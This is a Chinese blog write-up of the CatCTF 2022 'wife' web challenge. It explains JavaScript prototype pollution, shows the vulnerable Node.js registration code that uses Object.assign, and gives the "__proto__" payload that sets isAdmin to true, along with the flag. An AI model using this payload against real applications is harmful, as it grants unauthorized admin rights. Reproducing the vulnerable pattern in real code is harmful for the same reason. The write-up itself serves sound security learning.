WEB:Wife_wife

use by payload:"__proto__"{"isAdmin":true}

get flag

CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}

参考:https://www.rstk.cn/news/25963.html?action=onClick

CATCTF wife原型链污染

CATCTF wife原型链污染

原型链污染原理:https://drun1baby.github.io/2022/12/29/JavaScript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/

如下代码,prototype是newClass类的一个属性。newClass 实例化的对象 newObj.__proto__ 指向 newClass 类的 prototype

function newClass() {this.test = 1;
}var newObj = new newClass();

JSON 解析的情况下,__proto__ 会被认为是一个真正的“键名”,而不代表“原型”。如果是let o2 = {a: 1, "__proto__": {b: 2}}__proto__会被认为是o2的原型。如果作为键名(不会被解析)就会作为子类的原型

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

merge用于合并对象

merge 操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

原型链污染

CATCTF 2022 wife

靶场:https://adworld.xctf.org.cn/challenges/details?hash=e5ba95f8-884a-11ed-ab28-000c29bc20bf&task_category_id=3

注册部分的代码:

app.post('/register', (req, res) => {let user = JSON.parse(req.body)if (!user.username || !user.password) {return res.json({ msg: 'empty username or password', err: true })}if (users.filter(u => u.username == user.username).length) {return res.json({ msg: 'username already exists', err: true })}if (user.isAdmin && user.inviteCode != INVITE_CODE) {user.isAdmin = falsereturn res.json({ msg: 'invalid invite code', err: true })}let newUser = Object.assign({}, baseUser, user)users.push(newUser)res.json({ msg: 'user created successfully', err: false })
})

json解析后,利用Object.assign()创建子类newUser,push进users

这里传入payload:"__proto__"{"isAdmin":true}造成原型链污染,生成的user用户拥有isAdmin=true

WEB:Wife_wife相关推荐

  1. Flutter Web:Shadow Root问题

    document.getElementById找不到节点 在flutter1.x版本的dev分支上可以使用flutter web,但是我们在使用第三方js sdk的时候会出现问题,比如AgoraRtc ...

  2. 移动开发中的 Web:WebView、WebKit、JSCore、Web 优化、热修复、跨平台、Native、Hybrid……...

    移动开发领域近年来已经逐渐告别了野蛮生长的时期,进入了相对成熟的时代.而一直以来 Native 和 Web 的争论从未停止,通过开发者孜孜不倦的努力,Web 的效率和 Native 的体验也一直在寻求 ...

  3. web:H5和小程序的区别

    web:H5和小程序的区别 H5和小程序的区别 H5和小程序不具备可比性,只是很多移动端的场景下,两种选择都能实现产品的大部分功能.最近几年,小程序的兴起,让人们理解他等同于H5,其实不然. 关于小程 ...

  4. 美团开源Logan Web:前端日志在Web端的实现

    来自:美团技术团队 2018 年,美团点评推出大前端日志系统-- Logan,并开源了 Android 与 iOS 端的 SDK.这次,我们又开源了在 Web 环境运行的 SDK.日志分析平台以及服务 ...

  5. java web filter标签是什么,Java Web:5.Filter

    目录 什么是Filter? Filter是由Servlet容器进行调用,对 Servlet容器请求java服务端程序(调用资源:JSP,Servlet,静态HTML),java服务端程序响应Servl ...

  6. Go Web:HttpRouter路由(一)

    2019独角兽企业重金招聘Python工程师标准>>> HttpRouter是一个轻量级但却非常高效的multiplexer. 手册: https://godoc.org/githu ...

  7. Web:你知道我这十几年是怎么过来的吗?!

    大家好,我是若川.持续组织了8个月源码共读活动,感兴趣的可以点此加我微信 ruochuan12 参与,每周大家一起学习200行左右的源码,共同进步.同时极力推荐订阅我写的<学习源码整体架构系列& ...

  8. 美团开源 Logan Web:前端日志在 Web 端的实现

    1.前言 Logan 是美团点评推出的大前端日志系统,支持多端环境运行,可为客户端.Web.小程序等用户端环境提供前端日志的存储.收集.上报及分析能力,能够帮助开发人员快速定位并解决端上问题,便于及时 ...

  9. Go Web:HttpRouter路由

    HttpRouter是一个轻量级但却非常高效的multiplexer.手册: https://godoc.org/github.com/julienschmidt/httprouter https:/ ...

最新文章

  1. logistic回归 如何_第七章:利用Python实现Logistic回归分类模型
  2. 交叉编译Open***-2.4.3
  3. 分类的评估标准_机器学习:模型评估之评估指标
  4. Kubernetes本地集群和Google Kubernetes Engine的区别
  5. 趣话题:git三部曲(二)-拆分历史提交记录reset
  6. 线程并发编程之线程锁
  7. 应用上云2小时烧掉近50万,创始人:差点破产,简直噩梦
  8. Android 项目规范
  9. MySQL数据库基础命令
  10. MPLAB X IDE 用Pickit3烧录 提示“找不到目标器件。你必须连接一个目标器件来使用PICkit 3”,解决办法!
  11. Caused by: org.apache.spark.SparkException: This RDD lacks a SparkContext. It could happen in the
  12. 深圳学位锁定怎么计算机,【实用】如何查询深圳房子学位是否锁定?(附操作步骤)...
  13. 计算机二级考试模拟表单答题,2015年计算机二级考试Visual FoxPro练习题
  14. linux怎么看网络连接网络,linux如何查看网络连接情况?
  15. 计算机毕业设计项目推荐 - 毕设开题选题
  16. 云时代,网络攻击已经“鸟枪换炮”,你的企业安全还在按兵不动?
  17. 梦想照进现实|CSDN 实体奖牌 第五期
  18. ROS2利用cartographer算法进行激光建图
  19. java单例模式_无名小仙男
  20. STC8H8K64U学习(自用)

热门文章

  1. 浏览器中Vimium 插件快捷键
  2. 在Ubuntu16.04.1上安装、配置、使用Nginx
  3. C++ UML类图详解
  4. 3.4 等价矩阵 VS. 等价向量组
  5. #父与子的编程之旅#第十二章
  6. 栈(stack)简单实现,系统栈是如何保存函数调用信息的?
  7. JavaScript基础语法(VS Code)
  8. Spring data JPA 笔记
  9. 机器学习系列(二)——评价指标Precision和Recall
  10. 判断并求出两个圆的交点(平面几何)